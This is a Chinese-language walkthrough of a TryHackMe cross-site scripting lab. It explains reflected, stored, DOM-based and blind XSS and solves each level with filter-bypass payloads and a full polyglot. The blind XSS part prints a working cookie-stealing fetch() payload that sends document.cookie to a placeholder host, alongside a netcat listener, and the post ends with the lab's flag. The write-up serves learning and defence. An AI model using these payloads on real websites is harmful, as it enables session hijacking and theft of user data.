跨站脚本攻击(XSS)被归类为注入攻击,其中恶意 JavaScript 被注入到 Web 应用程序中,意图由其他用户执行。
payload:指代一段包含恶意代码或者用于利用系统漏洞的数据集
证明存在xss漏洞:
在留言板或搜索框输入:
<script>alert('XSS');</script>
反射型xss:
当用户在HTTP请求中提供的数据未经任何验证就包含在网页源中时,就会发生反射型 XSS。
潜在影响:
攻击者可以向潜在受害者发送链接或将其嵌入到另一个包含 JavaScript 负载的网站的 iframe 中,让他们在浏览器上执行代码,从而可能泄露会话或客户信息。
如何测试反射型XSS:
URL 查询字符串中的参数
URL 文件路径
有时是HTTP标头
存储型xss:
XSS有效负载存储在 Web 应用程序中(例如数据库中),然后在其他用户访问该网站或网页时运行。
潜在影响:
恶意 JavaScript 可能会将用户重定向到另一个站点、窃取用户的会话 cookie,或在充当访问用户时执行其他网站操作。
如何测试存储型XSS:
对博客的评论
用户个人资料信息
网站列表
什么是 DOM?
DOM 代表文档对象模型,是 HTML和XML文档的编程接口。它代表页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,该文档可以显示在浏览器窗口中,也可以作为 HTML 源代码显示。
利用 DOM
基于 DOM 的XSS是指 JavaScript 直接在浏览器中执行,无需加载任何新页面或将数据提交给后端代码。当网站 JavaScript 代码作用于输入或用户交互时,就会执行。
潜在影响
制作的链接可能会发送给潜在受害者,将他们重定向到另一个网站或窃取页面或用户会话中的内容。
如何测试基于 Dom 的XSS:
基于 DOM 的 XSS 测试可能具有挑战性,并且需要一定的 JavaScript 知识才能阅读源代码。需要查找访问攻击者可以控制的某些变量的代码部分,例如“ window.location.x ”参数。
Perfecting your payload
#1
进入目标ip,可以看到一个输入框,尝试输入一个名字,会在下方打印出来
此时我们查看源码,可以找到名字所在的地方
直接在输入框中输入
script>alert('THM');</script>
则会弹出“THM”的提示框,可以进入下一题
#2
直接输入名字,然后查看源码
在输入框输入
">script>alert('THM');</script>
进行绕过
# ">是结束<input value="">标签
#3
输入名字,观察源码
同#2方法进行绕过
</textarea><script>alert('THM');</script>
#</textarea>它会导致 textarea 元素关闭,以便脚本运行。
再查看源码,就成了这样
#4
输入名字查看源码
输入
';alert('THM');//
#关闭'指定名称的字段,然后;表示当前命令的结束,最后的 //使其后面的任何内容成为注释而不是可执行代码。
#5
输入名字查看源码
看起来和#1相同,但如果你尝试<script>alert('THM');</script>
<scrip>标签被过滤
此时发现一个有趣的东西
原始payload:
<sscriptcript>alert('THM');</sscriptcript>
要删除的文本(通过过滤器):
<sscriptcript>alert('THM');</sscriptcript>
最终payload(通过过滤器后):
<script>alert('THM');</script>
则输入
<sscriptcript>alert('THM');</sscriptcript>
完成绕过
#4
这是一个图片路径,我们输入名字看源码,像#2的格式,此时尝试
"><script>alert('THM');</script>
发现<>被过滤,我们可以利用 IMG 标签的附加属性,例如 onload 事件。一旦 src 属性中指定的图像加载到网页上,onload 事件就会执行我们选择的代码。
#onload事件是指当页面或某个元素完全加载完成时触发的事件。在Web开发中,onload事件经常用于确保页面或特定资源已经完全加载后再执行特定的操作或函数。
文本框输入
/images/cat.jpg" onload="alert('THM');
查看源码
多语言:
XSS 多语言是一串文本,可以同时转义属性、标签和绕过过滤器。可以在刚刚完成的所有六个级别上使用以下多语言,并且它会成功执行代码。
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
jaVasCript::看似是将 JavaScript 写法拆分成多个部分,可能是为了混淆识别。
/*-/*``/*\``/*'/*"/**/(/* */onerror=alert('THM') )//:通过多种注释符号混合使用,试图绕过代码解析器对注释的处理,然后设置 onerror 事件,当出现错误时弹出一个警报框(alert)。
%0D%0A%0d%0a:包含了一些 URL 编码字符,可能是为了绕过输入过滤或检测。
<stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e:通过混入 SVG 图像标签 <svg> 来执行 alert('THM'),同样是尝试触发警报框。
盲XSS:
因为payload被存储在网站上以供其他用户查看,但在这种情况下,我们无法看到payload工作或无法测试它。
潜在影响:
使用正确的payload,攻击者的 JavaScript 可以回调攻击者的网站,从而泄露员工门户 URL、员工的 cookie,甚至正在查看的门户页面的内容。现在,攻击者可能会劫持工作人员的会话并有权访问私人门户
如何测试盲目XSS:
在测试 Blind XSS 漏洞时,你需要确保你的payload有回调(通常是HTTP请求)。这样,你就知道代码是否以及何时被执行。
XSS Hunter Express是一种流行的盲目 XSS 攻击工具。尽管可以用 JavaScript 制作自己的工具,但该工具会自动捕获 cookie、URL、页面内容等。
实例(盲XSS)
进入目标网站,根据提示,看到以下页面
尝试创建,查看源码
感觉可以绕过,再次创建,内容输入
</textarea>test
看样子成功转义
再次创建,内容为
</textarea><script>alert('THM');</script>
看看是否能运行js代码
显然可以,我们有理由相信工作人员也会查看我们可以执行 JavaScript 的这张票证。
从其他用户那里提取的一些有用信息是他们的 cookie,我们可以使用这些信息通过劫持他们的登录会话来提升我们的权限。
首先,我们需要设置一个监听服务器来接收信息。
打开kail连接vpn
然后命令框输入nc -nlvp 9001监听本机9001端口
-l选项表示我们要以监听模式使用Netcat
-p选项用于指定端口号
-n避免通过DNS解析主机名
-v发现任何错误
开始构建payload
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>
</textarea> 标记关闭文本区域字段。
<script>标签为我们开辟了一个编写 JavaScript 的区域。
fetch() 命令发出HTTP请求。
URL_OR_IP 是 THM 请求捕获器 URL、THM AttackBox 中的 IP 地址或 THM VPN 网络上的 IP 地址。
PORT_NUMBER是您用来侦听 AttackBox 上的连接的端口号。
?cookie= 是包含受害者 cookie 的查询字符串。
btoa() 命令 base64 对受害者的 cookie 进行编码。
document.cookie 访问受害者的 Acme IT 支持网站的 cookie。
</script>关闭 JavaScript 代码块。
再次创建表单
等待一分钟,将收到cookie请求
cookie是base64加密,通过编译得到
flag为:4AB305E55955197693F01D6F8FD2D321
网友评论